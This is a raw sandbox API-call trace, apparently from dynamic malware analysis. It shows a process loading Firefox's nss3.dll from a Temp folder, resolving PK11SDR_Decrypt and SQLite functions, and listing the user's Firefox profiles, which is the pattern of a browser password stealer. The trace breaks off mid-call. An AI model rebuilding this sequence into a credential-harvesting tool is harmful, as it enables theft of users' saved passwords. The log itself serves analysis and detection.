[0056.797] VirtualFree (lpAddress=0x4378000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0056.798] VirtualFree (lpAddress=0x570000, dwSize=0x6c000, dwFreeType=0x4000) returned 1 [0056.800] VirtualFree (lpAddress=0x3be0000, dwSize=0x12c000, dwFreeType=0x4000) returned 1 [0056.806] VirtualFree (lpAddress=0x3bdc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.807] VirtualFree (lpAddress=0x5dc000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0056.807] VirtualFree (lpAddress=0x5f8000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0056.808] VirtualFree (lpAddress=0x3d10000, dwSize=0x118000, dwFreeType=0x4000) returned 1 [0056.813] VirtualFree (lpAddress=0x3d0c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.813] VirtualFree (lpAddress=0x3d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.815] VirtualFree (lpAddress=0x3be0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.818] VirtualFree (lpAddress=0x43a0000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0056.818] VirtualFree (lpAddress=0x439c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.819] VirtualFree (lpAddress=0x43a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.821] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbe1c, cbMultiByte=8, lpWideCharStr=0x18d5f0, cchWideChar=2047 | out: lpWideCharStr="nss3.dlllll.dll.dll") returned 8 [0056.821] GetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\nss3.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\nss3.dll")) returned 0x2020 [0056.822] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x0, nSize=0x0 | out: lpBuffer=0x0) returned 0x64 [0056.822] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x67f5ac, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0056.822] SetEnvironmentVariableW (lpName="PATH", lpValue="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 1 [0056.822] SetCurrentDirectoryW (lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045")) returned 1 [0056.822] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbe1c, cbMultiByte=8, lpWideCharStr=0x18d5e8, cchWideChar=2047 | out: lpWideCharStr="nss3.dll.dlllll.dll.dll") returned 8 [0056.822] LoadLibraryExW (lpLibFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\nss3.dll", hFile=0x0, dwFlags=0x8) returned 0x73a80000 [0057.468] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0057.468] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0057.468] GetLastError () returned 0x57 [0057.470] wcsncmp (_String1="api-ms-", _String2="api-ms-", _MaxCount=0x7) returned 0 [0057.470] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0057.470] GetLastError () returned 0x57 [0057.470] wcsncmp (_String1="kernel3", _String2="api-ms-", _MaxCount=0x7) returned 10 [0057.470] wcsncmp (_String1="kernel3", _String2="ext-ms-", _MaxCount=0x7) returned 6 [0057.470] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0057.471] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0057.471] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0057.471] GetLastError () returned 0x57 [0057.471] wcsncmp (_String1="api-ms-", _String2="api-ms-", _MaxCount=0x7) returned 0 [0057.471] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0057.471] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0057.474] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0057.474] _initialize_onexit_table (_Table=0x73733a54) returned 0 [0057.474] _initialize_onexit_table (_Table=0x73733a60) returned 0 [0057.474] RtlInitializeSListHead (in: ListHead=0x73733a80 | out: ListHead=0x73733a80) [0057.475] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0057.475] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0057.476] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0057.476] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0057.476] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0057.476] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0057.476] GetProcAddress (hModule=0x76c20000, lpProcName="InitOnceExecuteOnce") returned 0x76c4d627 [0057.476] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0057.477] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0057.477] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0057.477] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0057.477] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0057.477] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0057.477] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0057.477] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0057.478] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0057.478] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0057.478] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0057.478] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0057.478] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0057.478] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0057.479] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0057.479] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0057.479] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleEx") returned 0x76c4c78f [0057.479] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandle") returned 0x76c5cbfc [0057.479] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0057.479] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeConditionVariable") returned 0x77168456 [0057.480] GetProcAddress (hModule=0x76c20000, lpProcName="WakeConditionVariable") returned 0x771d7de4 [0057.480] GetProcAddress (hModule=0x76c20000, lpProcName="WakeAllConditionVariable") returned 0x7719409d [0057.480] GetProcAddress (hModule=0x76c20000, lpProcName="SleepConditionVariableCS") returned 0x76cb4b32 [0057.480] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSRWLock") returned 0x77168456 [0057.480] GetProcAddress (hModule=0x76c20000, lpProcName="AcquireSRWLockExclusive") returned 0x771629f1 [0057.480] GetProcAddress (hModule=0x76c20000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77174892 [0057.480] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseSRWLockExclusive") returned 0x771629ab [0057.481] GetProcAddress (hModule=0x76c20000, lpProcName="SleepConditionVariableSRW") returned 0x76cb4b74 [0057.481] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWork") returned 0x76c4ee45 [0057.481] GetProcAddress (hModule=0x76c20000, lpProcName="SubmitThreadpoolWork") returned 0x771a8491 [0057.481] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWork") returned 0x7719d8e2 [0057.481] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0057.481] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0057.481] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0057.482] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0057.482] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ec90) returned 0 [0057.482] __acrt_iob_func (param_1=0x2) returned 0x736c10d0 [0057.482] malloc (_Size=0x8) returned 0x6b0ee0 [0057.483] _lock_locales () returned 0x0 [0057.483] malloc (_Size=0x20) returned 0x6b9c38 [0057.483] malloc (_Size=0x2) returned 0x6b0ef0 [0057.484] free (_Block=0x6b0ef0) [0057.484] malloc (_Size=0x2) returned 0x6b0ef0 [0057.484] _unlock_locales () returned 0x0 [0057.484] _get_stream_buffer_pointers (in: _Stream=0x736c10d0, _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c | out: _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c) returned 0x0 [0057.484] _register_onexit_function (_Table=0x73733a54, _Function=0x7370eca0) returned 0 [0057.484] malloc (_Size=0x8) returned 0x6b0f00 [0057.484] _lock_locales () returned 0x0 [0057.484] _unlock_locales () returned 0x0 [0057.484] _lock_locales () returned 0x0 [0057.484] _lock_locales () returned 0x0 [0057.484] _unlock_locales () returned 0x0 [0057.484] malloc (_Size=0x18) returned 0x6ab518 [0057.484] _lock_locales () returned 0x0 [0057.484] setlocale (category=0, locale=0x0) returned="C" [0057.484] malloc (_Size=0x2) returned 0x6b0f20 [0057.484] setlocale (category=0, locale="C") returned="C" [0057.484] malloc (_Size=0x2) returned 0x6b0f10 [0057.485] ___lc_codepage_func () returned 0x0 [0057.485] _calloc_base (_Count=0x100, _Size=0x2) returned 0x6ba9c8 [0057.485] __pctype_func () returned 0x735f4860 [0057.485] ___lc_locale_name_func () returned 0x6ba9a8 [0057.485] setlocale (category=0, locale="C") returned="C" [0057.485] free (_Block=0x6b0f10) [0057.485] free (_Block=0x6b0f20) [0057.485] _unlock_locales () returned 0x0 [0057.485] malloc (_Size=0x8) returned 0x6b0f20 [0057.485] _unlock_locales () returned 0x0 [0057.485] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ecb0) returned 0 [0057.485] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ecc0) returned 0 [0057.485] __acrt_iob_func (param_1=0x0) returned 0x736c1060 [0057.485] malloc (_Size=0x8) returned 0x6b0f10 [0057.485] _lock_locales () returned 0x0 [0057.485] _unlock_locales () returned 0x0 [0057.485] _get_stream_buffer_pointers (in: _Stream=0x736c1060, _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c | out: _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c) returned 0x0 [0057.485] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ecd0) returned 0 [0057.485] malloc (_Size=0x8) returned 0x6b0f30 [0057.485] _lock_locales () returned 0x0 [0057.485] _unlock_locales () returned 0x0 [0057.485] _lock_locales () returned 0x0 [0057.485] _unlock_locales () returned 0x0 [0057.485] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ece0) returned 0 [0057.485] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ecf0) returned 0 [0057.486] __acrt_iob_func (param_1=0x2) returned 0x736c10d0 [0057.486] malloc (_Size=0x8) returned 0x6b0f50 [0057.486] _lock_locales () returned 0x0 [0057.486] _unlock_locales () returned 0x0 [0057.486] _get_stream_buffer_pointers (in: _Stream=0x736c10d0, _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c | out: _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c) returned 0x0 [0057.486] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ed00) returned 0 [0057.486] malloc (_Size=0x8) returned 0x6b0f60 [0057.486] _lock_locales () returned 0x0 [0057.486] _unlock_locales () returned 0x0 [0057.486] _lock_locales () returned 0x0 [0057.486] _unlock_locales () returned 0x0 [0057.486] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ed10) returned 0 [0057.486] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ed20) returned 0 [0057.486] __acrt_iob_func (param_1=0x1) returned 0x736c1098 [0057.486] malloc (_Size=0x8) returned 0x6b0f70 [0057.486] _lock_locales () returned 0x0 [0057.486] _unlock_locales () returned 0x0 [0057.486] _get_stream_buffer_pointers (in: _Stream=0x736c1098, _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c | out: _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c) returned 0x0 [0057.486] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ed30) returned 0 [0057.486] malloc (_Size=0x8) returned 0x6b0f80 [0057.486] _lock_locales () returned 0x0 [0057.486] _unlock_locales () returned 0x0 [0057.486] _lock_locales () returned 0x0 [0057.486] _unlock_locales () returned 0x0 [0057.486] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ed40) returned 0 [0057.486] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ed50) returned 0 [0057.486] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ed60) returned 0 [0057.486] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ee30) returned 0 [0057.486] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ee40) returned 0 [0057.486] __acrt_iob_func (param_1=0x2) returned 0x736c10d0 [0057.487] malloc (_Size=0x8) returned 0x6b0f90 [0057.487] _lock_locales () returned 0x0 [0057.487] _unlock_locales () returned 0x0 [0057.487] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ee50) returned 0 [0057.487] malloc (_Size=0x8) returned 0x6b0fa0 [0057.487] _lock_locales () returned 0x0 [0057.487] _unlock_locales () returned 0x0 [0057.487] _lock_locales () returned 0x0 [0057.487] _lock_locales () returned 0x0 [0057.487] _unlock_locales () returned 0x0 [0057.487] malloc (_Size=0x44) returned 0x6a2630 [0057.487] _lock_locales () returned 0x0 [0057.487] setlocale (category=0, locale=0x0) returned="C" [0057.487] malloc (_Size=0x2) returned 0x6b0fb0 [0057.487] setlocale (category=0, locale="C") returned="C" [0057.487] malloc (_Size=0x2) returned 0x6b0f40 [0057.487] ___lc_codepage_func () returned 0x0 [0057.487] _calloc_base (_Count=0x100, _Size=0x2) returned 0x6babd0 [0057.487] __pctype_func () returned 0x735f4860 [0057.487] ___lc_locale_name_func () returned 0x62f600 [0057.487] ___lc_codepage_func () returned 0x0 [0057.487] ___mb_cur_max_func () returned 1 [0057.487] ___lc_locale_name_func () returned 0x62f600 [0057.487] setlocale (category=0, locale="C") returned="C" [0057.487] free (_Block=0x6b0f40) [0057.488] free (_Block=0x6b0fb0) [0057.488] _unlock_locales () returned 0x0 [0057.488] malloc (_Size=0x8) returned 0x6b0fb0 [0057.488] _unlock_locales () returned 0x0 [0057.488] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ee60) returned 0 [0057.488] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ee70) returned 0 [0057.488] __acrt_iob_func (param_1=0x0) returned 0x736c1060 [0057.488] malloc (_Size=0x8) returned 0x6b0f40 [0057.488] _lock_locales () returned 0x0 [0057.488] _unlock_locales () returned 0x0 [0057.488] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ee80) returned 0 [0057.488] malloc (_Size=0x8) returned 0x6b0fc0 [0057.488] _lock_locales () returned 0x0 [0057.488] _unlock_locales () returned 0x0 [0057.488] _lock_locales () returned 0x0 [0057.488] _unlock_locales () returned 0x0 [0057.488] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ee90) returned 0 [0057.488] _register_onexit_function (_Table=0x73733a54, _Function=0x7370eea0) returned 0 [0057.488] __acrt_iob_func (param_1=0x2) returned 0x736c10d0 [0057.488] malloc (_Size=0x8) returned 0x6b0fe0 [0057.488] _lock_locales () returned 0x0 [0057.488] _unlock_locales () returned 0x0 [0057.488] _register_onexit_function (_Table=0x73733a54, _Function=0x7370eeb0) returned 0 [0057.488] malloc (_Size=0x8) returned 0x6b0ff0 [0057.488] _lock_locales () returned 0x0 [0057.488] _unlock_locales () returned 0x0 [0057.488] _lock_locales () returned 0x0 [0057.488] _unlock_locales () returned 0x0 [0057.488] _register_onexit_function (_Table=0x73733a54, _Function=0x7370eec0) returned 0 [0057.488] _register_onexit_function (_Table=0x73733a54, _Function=0x7370eed0) returned 0 [0057.488] __acrt_iob_func (param_1=0x1) returned 0x736c1098 [0057.488] malloc (_Size=0x8) returned 0x6b1000 [0057.488] _lock_locales () returned 0x0 [0057.489] _unlock_locales () returned 0x0 [0057.489] _register_onexit_function (_Table=0x73733a54, _Function=0x7370eee0) returned 0 [0057.489] malloc (_Size=0x8) returned 0x6b1010 [0057.489] _lock_locales () returned 0x0 [0057.489] _unlock_locales () returned 0x0 [0057.489] _lock_locales () returned 0x0 [0057.489] _unlock_locales () returned 0x0 [0057.489] _register_onexit_function (_Table=0x73733a54, _Function=0x7370eef0) returned 0 [0057.489] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ef00) returned 0 [0057.489] __acrt_iob_func (param_1=0x2) returned 0x736c10d0 [0057.489] malloc (_Size=0x8) returned 0x6b1020 [0057.489] _lock_locales () returned 0x0 [0057.489] _unlock_locales () returned 0x0 [0057.489] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ef10) returned 0 [0057.489] malloc (_Size=0x8) returned 0x6b1030 [0057.489] _lock_locales () returned 0x0 [0057.489] _unlock_locales () returned 0x0 [0057.489] _lock_locales () returned 0x0 [0057.489] _lock_locales () returned 0x0 [0057.489] _unlock_locales () returned 0x0 [0057.489] malloc (_Size=0x44) returned 0x6a2680 [0057.489] _lock_locales () returned 0x0 [0057.489] setlocale (category=0, locale=0x0) returned="C" [0057.489] malloc (_Size=0x2) returned 0x6b1040 [0057.489] setlocale (category=0, locale="C") returned="C" [0057.489] malloc (_Size=0x2) returned 0x6b0fd0 [0057.489] ___lc_codepage_func () returned 0x0 [0057.489] _calloc_base (_Count=0x100, _Size=0x2) returned 0x6badd8 [0057.489] __pctype_func () returned 0x735f4860 [0057.489] ___lc_locale_name_func () returned 0x6ba9a8 [0057.489] ___lc_codepage_func () returned 0x0 [0057.489] ___mb_cur_max_func () returned 1 [0057.489] ___lc_locale_name_func () returned 0x6ba9a8 [0057.489] setlocale (category=0, locale="C") returned="C" [0057.489] free (_Block=0x6b0fd0) [0057.489] free (_Block=0x6b1040) [0057.489] _unlock_locales () returned 0x0 [0057.490] malloc (_Size=0x8) returned 0x6b1040 [0057.490] _unlock_locales () returned 0x0 [0057.490] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ef20) returned 0 [0057.490] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ef30) returned 0 [0057.490] __acrt_iob_func (param_1=0x0) returned 0x736c1060 [0057.490] malloc (_Size=0x8) returned 0x6b0fd0 [0057.490] _lock_locales () returned 0x0 [0057.490] _unlock_locales () returned 0x0 [0057.490] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ef40) returned 0 [0057.490] malloc (_Size=0x8) returned 0x6b1050 [0057.490] _lock_locales () returned 0x0 [0057.490] _unlock_locales () returned 0x0 [0057.490] _lock_locales () returned 0x0 [0057.490] _unlock_locales () returned 0x0 [0057.490] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ef50) returned 0 [0057.490] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ef60) returned 0 [0057.490] __acrt_iob_func (param_1=0x2) returned 0x736c10d0 [0057.490] malloc (_Size=0x8) returned 0x6b1070 [0057.490] _lock_locales () returned 0x0 [0057.490] _unlock_locales () returned 0x0 [0057.490] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ef70) returned 0 [0057.490] malloc (_Size=0x8) returned 0x6b1080 [0057.490] _lock_locales () returned 0x0 [0057.490] _unlock_locales () returned 0x0 [0057.490] _lock_locales () returned 0x0 [0057.490] _unlock_locales () returned 0x0 [0057.490] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ef80) returned 0 [0057.490] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ef90) returned 0 [0057.490] __acrt_iob_func (param_1=0x1) returned 0x736c1098 [0057.490] malloc (_Size=0x8) returned 0x6b1090 [0057.490] _lock_locales () returned 0x0 [0057.491] _unlock_locales () returned 0x0 [0057.491] _register_onexit_function (_Table=0x73733a54, _Function=0x7370efa0) returned 0 [0057.500] malloc (_Size=0x8) returned 0x6b10a0 [0057.500] _lock_locales () returned 0x0 [0057.500] _unlock_locales () returned 0x0 [0057.500] _lock_locales () returned 0x0 [0057.500] _unlock_locales () returned 0x0 [0057.500] _register_onexit_function (_Table=0x73733a54, _Function=0x7370efb0) returned 0 [0057.500] _register_onexit_function (_Table=0x73733a54, _Function=0x7370efc0) returned 0 [0057.500] _register_onexit_function (_Table=0x73733a54, _Function=0x7370edb0) returned 0 [0057.500] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ee20) returned 0 [0057.501] _register_onexit_function (_Table=0x73733a54, _Function=0x7370ec80) returned 0 [0057.501] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0057.501] _initialize_onexit_table (_Table=0x73a713cc) returned 0 [0057.501] _initialize_onexit_table (_Table=0x73a713d8) returned 0 [0057.501] RtlInitializeSListHead (in: ListHead=0x73a71400 | out: ListHead=0x73a71400) [0057.502] GetModuleHandleW (lpModuleName="api-ms-win-core-synch-l1-2-0.dll") returned 0x74650000 [0057.502] GetProcAddress (hModule=0x74650000, lpProcName="InitializeConditionVariable") returned 0x77168456 [0057.502] GetProcAddress (hModule=0x74650000, lpProcName="SleepConditionVariableCS") returned 0x76cb4b32 [0057.502] GetProcAddress (hModule=0x74650000, lpProcName="WakeAllConditionVariable") returned 0x7719409d [0057.502] RtlInitializeConditionVariable () returned 0x73a71098 [0057.502] _register_onexit_function (_Table=0x73a713cc, _Function=0x73a5c37a) returned 0 [0057.502] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0057.502] _register_onexit_function (_Table=0x73a713cc, _Function=0x73a5dabb) returned 0 [0057.503] _register_onexit_function (_Table=0x73a713cc, _Function=0x73a5dacf) returned 0 [0057.503] _register_onexit_function (_Table=0x73a713cc, _Function=0x73a5dac5) returned 0 [0057.505] getenv (_VarName="MOZ_TIMESTAMP_MODE") returned 0x0 [0057.509] QueryPerformanceFrequency (in: lpFrequency=0x18e218 | out: lpFrequency=0x18e218*=100000000) returned 1 [0057.509] _strnicmp (_Str1="GenuntelineI", _Str="GenuntelineI", _MaxCount=0xc) returned 0 [0057.510] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18e200, lpTimeIncrement=0x18e204, lpTimeAdjustmentDisabled=0x18e1fc | out: lpTimeAdjustment=0x18e200, lpTimeIncrement=0x18e204, lpTimeAdjustmentDisabled=0x18e1fc) returned 1 [0057.510] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777251026) returned 1 [0057.510] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777260376) returned 1 [0057.510] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777269486) returned 1 [0057.510] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777278381) returned 1 [0057.510] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777287425) returned 1 [0057.510] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777296315) returned 1 [0057.510] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777305216) returned 1 [0057.510] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777314821) returned 1 [0057.510] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777323878) returned 1 [0057.510] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777332779) returned 1 [0057.510] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777341663) returned 1 [0057.511] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777351607) returned 1 [0057.511] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777360258) returned 1 [0057.511] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777368876) returned 1 [0057.511] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777603063) returned 1 [0057.513] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777617636) returned 1 [0057.513] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777627290) returned 1 [0057.513] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777636380) returned 1 [0057.514] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777645406) returned 1 [0057.514] QueryPerformanceCounter (in: lpPerformanceCount=0x18e1e4 | out: lpPerformanceCount=0x18e1e4*=17777654365) returned 1 [0057.514] QueryPerformanceCounter (in: lpPerformanceCount=0x18e210 | out: lpPerformanceCount=0x18e210*=17777664565) returned 1 [0057.514] GetTickCount64 () returned 0x1ce17 [0057.514] _register_onexit_function (_Table=0x73a713cc, _Function=0x73a5dad9) returned 0 [0057.514] DisableThreadLibraryCalls (hLibModule=0x73a50000) returned 0 [0057.515] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0057.515] _initialize_onexit_table (_Table=0x73ba9180) returned 0 [0057.515] _initialize_onexit_table (_Table=0x73ba918c) returned 0 [0057.515] RtlInitializeSListHead (in: ListHead=0x73ba9170 | out: ListHead=0x73ba9170) [0057.515] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0057.516] GetProcAddress (hModule=0x73a80000, lpProcName="sqlite3_open") returned 0x73ad49c9 [0057.516] GetProcAddress (hModule=0x73a80000, lpProcName="sqlite3_close") returned 0x73ad3341 [0057.516] GetProcAddress (hModule=0x73a80000, lpProcName="sqlite3_prepare_v2") returned 0x73abd529 [0057.516] GetProcAddress (hModule=0x73a80000, lpProcName="sqlite3_step") returned 0x73a9cfda [0057.516] GetProcAddress (hModule=0x73a80000, lpProcName="sqlite3_column_text") returned 0x73a9d453 [0057.517] GetProcAddress (hModule=0x73a80000, lpProcName="sqlite3_column_bytes") returned 0x73a9d37e [0057.517] GetProcAddress (hModule=0x73a80000, lpProcName="sqlite3_finalize") returned 0x73a9c7d3 [0057.517] GetProcAddress (hModule=0x73a80000, lpProcName="NSS_Init") returned 0x73b10391 [0057.517] GetProcAddress (hModule=0x73a80000, lpProcName="PK11_GetInternalKeySlot") returned 0x73b348fe [0057.517] GetProcAddress (hModule=0x73a80000, lpProcName="PK11_Authenticate") returned 0x73b1d0d8 [0057.517] GetProcAddress (hModule=0x73a80000, lpProcName="PK11SDR_Decrypt") returned 0x73b3089d [0057.517] GetProcAddress (hModule=0x73a80000, lpProcName="NSS_Shutdown") returned 0x73b1061c [0057.518] GetProcAddress (hModule=0x73a80000, lpProcName="PK11_FreeSlot") returned 0x73b34370 [0057.518] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbf44, cbMultiByte=35, lpWideCharStr=0x18d5d0, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Mozilla\\Firefox\\Profiles\\") returned 35 [0057.518] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Mozilla\\Firefox\\Profiles\\", lpDst=0x6bb0ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 0x48 [0057.518] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*.*", lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, 